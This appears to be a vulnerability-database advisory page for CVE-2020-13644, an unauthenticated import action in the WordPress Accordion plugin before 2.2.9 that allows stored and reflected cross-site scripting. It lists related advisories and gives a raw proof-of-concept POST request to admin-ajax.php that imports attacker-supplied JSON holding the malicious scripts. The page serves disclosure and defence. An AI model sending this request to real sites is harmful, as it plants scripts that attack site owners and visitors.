Accordion < 2.2.9 Unprotected AJAX Action - Stored/Reflected XS
Reporter | Title | Published | Views | Family All 7 |
---|---|---|---|---|
![]() | CVE-2020-13644 | 28 May 202003:11 | – | cvelist |
![]() | CVE-2020-13644 | 28 May 202004:15 | – | cve |
![]() | Authentication flaw | 28 May 202004:15 | – | prion |
![]() | WordPress Accordion Plugin < 2.2.9 XSS Vulnerability | 29 May 202000:00 | – | openvas |
![]() | CVE-2020-13644 | 28 May 202004:15 | – | nvd |
![]() | Accordion < 2.2.9 - Unprotected AJAX Action to Stored/Reflected XSS | 14 Apr 202000:00 | – | wpvulndb |
![]() | WordPress Accordion plugin <= 2.2.8 - Unprotected AJAX Action leading to Stored/Reflected Cross-Site Scripting (XSS) vulnerability | 14 Apr 202000:00 | – | patchstack |
Source | Link |
---|---|
wordfence | www.wordfence.com/blog/2020/04/vulnerability-patched-in-accordion-plugin/ |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: URL
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Origin: URL
Referer: URL
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
action=accordions_ajax_import_json&json_file=URL/importjsondata.json
*where importjsondata.json contains the malicious scripts
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo